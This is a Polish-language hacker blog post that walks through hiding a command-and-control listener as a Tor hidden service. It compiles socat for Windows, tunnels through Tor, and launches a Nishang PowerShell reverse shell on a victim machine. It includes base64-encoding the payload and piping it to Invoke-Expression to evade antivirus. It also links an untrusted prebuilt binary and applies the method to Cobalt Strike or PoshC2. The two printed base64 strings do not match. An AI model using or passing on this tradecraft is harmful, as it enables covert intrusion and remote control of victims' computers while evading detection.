vegeta_ssj@saiyajinz:~/posty/hs_shell$

hidden service reverse shell

8 minut czytania opublikowano: 28.02.2021

ukrycie serwera c&c w Torze
Czasem z przyczyn obiektywnych (lol xD) saijanin może chcieć ukryć swój 
serwer sterujący w sieci Tor. Korzyści mnogość płynie z takiego 
rozwiązania. Po stronie atakującego konieczny będzie nasłuch schowany w 
Torze. Po stronie klienckiej socat skompilowany pod windowsa oraz 
tor expert bundle czyli paczka tora zawierająca tylko to co niezbędne do 
połaczenia z cebulką.

http://www.dest-unreach.org/socat/download
https://www.torproject.org/dist/torbrowser/10.0.12/tor-win32-0.4.5.6.zip

Zacznę od przygotowania socata :) Najprościej skompilować go na Windę pod
cygwinem.

www.cygwin.com/setup-x86_64.exe

Potrzebujesz kilka paczek. Zainstaluj je podczas instalacji cygwina.

- - - - - - - - - - - - - - - - - - - - gcc-g++
- - - - - - - - - - - - - - - - - - - - gcc-core
- - - - - - - - - - - - - - - - - - - - cygwin32-gcc-g++
- - - - - - - - - - - - - - - - - - - - cygwin32-gcc-core
- - - - - - - - - - - - - - - - - - - - make

Możesz sobie na przyszłość też dorzucić jakieś pakiety typu wget, curl, 
interpreter python i co tam dusza zapragnie.

Otwieram Cygwina, pobieram źródła socata i kompiluję:

wget www.dest-unreach.org/socat/download/socat-1.7.4.1.tar.gz
tar zxvf socat-1.7.4.1.tar.gz
cd socat-1.7.4.1
./configure
make
make install



Jak spróbowałem odpalić socata to napotkałem pierwszą przeszkodę natury
hermetycznej. 



Jeżeli instalowałeś socata w domyślnej lokalizacji to w 
c:\cygwin\bin znajdziesz dll'kę cygwin1.dll którą musisz wrzucić do 
katalogu systemowego lub w miejsce w którym trzymasz socata.

Skoro dotrwałeś aż tutaj i nie chce ci się bawić w kompilowanie socata
to możesz go pobrać ode mnie xD klnę się kurwa na wszystkie świętności,
że nie ma tam żadnej chujni i nawet artefakty po kompilowaniu są na 
swoim miejscu xD Tak tak Rex', to się u Was nazywa jakoś: "threat
hunting" czy inny... xD Możecie mnie "strit hantować" i poznać domowy
katalog w wirtualce xD hehe

https://www.saiyajinz.cc/programy/socat.zip #pass: socat

Żeby przygotować nasłuch schowany w torze dodaj następujące linijki do
konfiguracji  Tora #sudo nano /etc/tor/torrc

HiddenServiceDir /home/exploit/shell
HiddenServicePort 8888 127.0.0.1:40000

Torowi będzie miło jak zsynchronizujesz zegar na swoim serwerze. 

https://github.com/Whonix/sdwdate

Po odpaleniu Tora robię szybki test czy mogę się komunikować z użyciem 
domeny .onion. Odpalam netcata na port 40000 i ślę request na .onion:8888. 
Można curlem, przeglądarką czy /dev/tcp. Chcę tylko zobaczyć czy jest 
komunikacja.

vegeta_ssj@saiyajinz:~/klucze$ nc -lvp 40000

ts6uacr454s5epzthok4h2x44phlijrxan73b2wl4wz4wcmpssdpm5yd.onion:8888



Tak jeszcze na marginesie jak sobie testuję różne historie to, żeby chodził 
mi netcat w pętli i się sam rozłączał spreparowałem sobie taki skrypcik
w bashu:

i=0  
while [[ $i -lt 10 ]]
do
  echo "200 OK" | nc -lvp 40000 -w 1 
  ((i++))
  if [[ $i -eq 10 ]]; then
    break
  fi
done

Jak jest łączność z serwerem schowanym w Torze to spróbuję zestawić tunel
i wysłać prostego powershellowego reverse shella.

Na "stacji klienckiej" potrzebuję Tor'a. Ja korzysam z paczki "eksperckiej"
xDDDDD Jak bym był twórcą malwaru to upakowałbym to wszystko do jednego
pliku wykonywalnego który przy odpaleniu rozpakuje to wszystko np. do $temp
czy gdzieś i uruchomi. Jest cuś takiego na github.com. Fajne nawet.

Startuję Tora na stacji klienckiej.



Następnie tworzę tunel socatem do ukrytej usługi z nasłuchem na localhoście. 
Uruchamiam go z następującymi parametrami:

TCP4-LISTEN:(po),reuseaddr,fork SOCKS4A:127.0.0.1:(ceb):8888,socksport=9050

Gdzie (ceb) to moja domena .onion a (po) to port na którym chcę nasłuchiwać
lokalnie połączeń które będą wysyłane do sieci Tor, niech będzie 4444 :)

Teraz pozostaje wysłać shella na localhost i port którym słucha socat.
Ja posługuje się moim ulubionym onelinerem od Nishanga.

samratashok/nishang/master/Shells/Invoke-PowerShellTcpOneLine.ps1



Jakby się niedaj diable okazało, że nie możesz shella odpalić, bo się 
antywirus sra to najłatwiej New-ObjectClient zakodować i już sygnaturowo
będzie cacy :)

$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444)

#zakodowane w base64 da:

JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALg
BOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAyADcALgAw
AC4AMAAuADEAJwAsADQANAA0ADQAKQA=

#trzeba w skrypcie to zdekodować i spajpować w Invoke-Expression :)

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String
("JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALg
BOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAyADcALgAwACz
4AMAAuADEAJwAsADQANAA0ADQAKQA="))|iex

Payload gotowy, tunel hula, można uruchomić nasłuch i wykonać ładunek u
nieszczęśnika. Jak wszystko pójdzie ok uzyskasz powłokę:

vegeta_ssj@saiyajinz:~$ nc -lvp 40000
listening on [any] 8888 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 59496
 
PS C:\Users\IEUser> whoami
msedgewin10\ieuser

W ten sposób można nawiązać komunikacje z każdym serwerem sterującym typu
Cobalt-Strike czy PoshC2 tylko payloady trzeba konfigurować pod socatowy 
tunel który jest utworzony do ukrytej usługi sieci Tor za którą schowany jest
serwer sterujący.